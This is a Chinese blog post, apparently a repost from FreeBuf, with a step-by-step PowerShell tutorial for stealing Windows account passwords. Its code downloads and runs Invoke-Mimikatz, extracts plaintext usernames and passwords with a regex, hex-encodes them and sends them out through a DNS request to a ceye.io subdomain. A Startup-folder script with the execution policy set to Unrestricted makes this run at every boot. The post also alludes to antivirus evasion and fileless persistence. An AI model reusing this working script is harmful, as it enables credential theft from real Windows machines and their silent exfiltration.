zoukankan      html  css  js  c++  java
  • 利用Powershell和ceye.io实现Windows账户密码回传

    利用Powershell和ceye.io实现Windows账户密码回传

    转自:http://www.freebuf.com/articles/system/129068.html

    最近在研究Powershell的使用,之前我一直不习惯Windows的主要原因是他那孱弱的命令行工具,稍微了解了Powershell之后差点跪下了,真的是一款非常了不起的工具。powershell的定义是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。简单的理解就是像linux下的bash。powershell有着诸多的优点,但是仅凭无文件和操作系统自带这两大优点基本上确定了他的地位。mimikatz是一款黑客后渗透(不是提权)神器,其中一个功能是在管理员账户下获取Windows明文密码,现在也有powershell版本了。我想测试的流程就是通过powershell获取Windows信息之后提取关键的用户名和密码,将用户名和密码转码之后访问ceye.io,这样就可以拿到Windows账户信息了.

    0×01 mimikatz获取Windows内容保存到变量

    mimikatz现在已经有powershell版本了,而且是http传输,进行免杀要比exe容易,这里不探讨免杀的内容。

    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');

    $Mimikatzinfo = invoke-mimikatz;

    $Mimikatzinfo

    屏幕快照 2017-03-11 上午8.22.48.png

    0×02 利用powershell正则表达式提取关键内容

    屏幕快照 2017-03-11 上午8.25.43.png

    分析字段,我们想要的是Username和Password之后的内容,powershell继承的是.net的表达式语法,实现上和python多少有点不同,查了半天资料总算实现了

    $Mimikatzinfo = invoke-mimikatz;

    $regex = [regex]".*Username : (.*?) .* .*Password : (.*?) ";

    $word = ($regex.Matches($Mimikatzinfo)| %{$_.value})

    屏幕快照 2017-03-11 上午8.31.38.png

    想要的内容是word的第三个组

    $username=$word[2].split("*")[1].split(":")[1];
    $password=$word[2].split("*")[3].split(":")[1];
    $full=$username.trim()+"_"+$password.trim();

    屏幕快照 2017-03-11 上午8.34.13.png

    0×03 转码访问

    域名中不允许包含特殊字符,也出于绕过的想法,将用户名和密码进行16进制转换然后再访问(ceye.io要换成自己的)

    $ab = [System.Text.Encoding]::UTF8.GetBytes($full);

    $luffy=[System.BitConverter]::ToString($ab);$onepiece=$luffy.replace("-","");

    $wc=new-object System.Net.webclient;$result=$wc.downloadstring("http://"+$onepiece+".sss.ceye.io");

    Jietu20170311-084132.jpg

    0×04 实现开机自启动

    新建1.cmd

    PowerShell -Command "Set-ExecutionPolicy Unrestricted" >> "%TEMP%StartupLog.txt" 2>&1 
    PowerShell C:UsersAdministratorDesktopscript.ps1 >> "%TEMP%StartupLog.txt" 2>&1

    新建script.ps1,一句话实现上述功能

    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/clymb3r/PowerShell/master/Invoke-Mimikatz/Invoke-Mimikatz.ps1');$Mimikatzinfo = invoke-mimikatz;$regex = [regex]".*Username : (.*?)
    .*
    .*Password : (.*?)
    ";$word = ($regex.Matches($Mimikatzinfo)| %{$_.value});$username=$word[2].split("*")[1].split(":")[1];$password=$word[2].split("*")[3].split(":")[1];$full=$username.trim()+"_"+$password.trim();$ab = [System.Text.Encoding]::UTF8.GetBytes($full);$luffy=[System.BitConverter]::ToString($ab);$onepiece=$luffy.replace("-","");$wc=new-object System.Net.webclient;$result=$wc.downloadstring("http://"+$onepiece+".rzzz.ceye.io");

    把1.cmd放到启动文件夹里

    屏幕快照 2017-03-11 上午8.47.56.png

    Jietu20170311-085918.jpg

    0×05 解码

    $pass=""

    $t="41646d696e6973747261746f725f6c7566667931323321"

    $t -split '(.{2})' |%{ if ($_ -ne "") { $pass+=[CHAR]([CONVERT]::toint16("$_",16))  }}

    write $pass

    屏幕快照 2017-03-11 上午9.06.23.png

    后记

    powershell的强大不仅如此,对于黑客来说是一个超级宝库,现在针对powershell成型的黑客工具也越来越多,像是metasploit,powersploit,set。powershell的可编程和windows的紧密结合也可以实现各种各样的猥琐技巧,比如上面的利用启动文件夹实现开机自启动是很low的,powershell和wmi配合可以实现无文件启动。”路漫漫其修远兮 吾将上下而求索”。

  • 相关阅读:
    爬虫(4)_代码分析
    python(32)——【shelve模块】【xml模块】
    python(31)——【sys模块】【json模块 & pickle模块】
    python(30)——【random模块】【if __name__ =='__main__'】【os模块】
    机器学习与Tensorflow(7)——tf.train.Saver()、inception-v3的应用
    机器学习与Tensorflow(6)——LSTM的Tensorflow实现、Tensorboard简单实现、CNN应用
    机器学习与Tensorflow(5)——循环神经网络、长短时记忆网络
    机器学习与Tensorflow(4)——卷积神经网络与tensorflow实现
    机器学习与Tensorflow(3)—— 机器学习及MNIST数据集分类优化
    机器学习与Tensorflow(2)——神经网络及Tensorflow实现
  • 原文地址:https://www.cnblogs.com/bonelee/p/8268537.html
Copyright © 2011-2022 走看看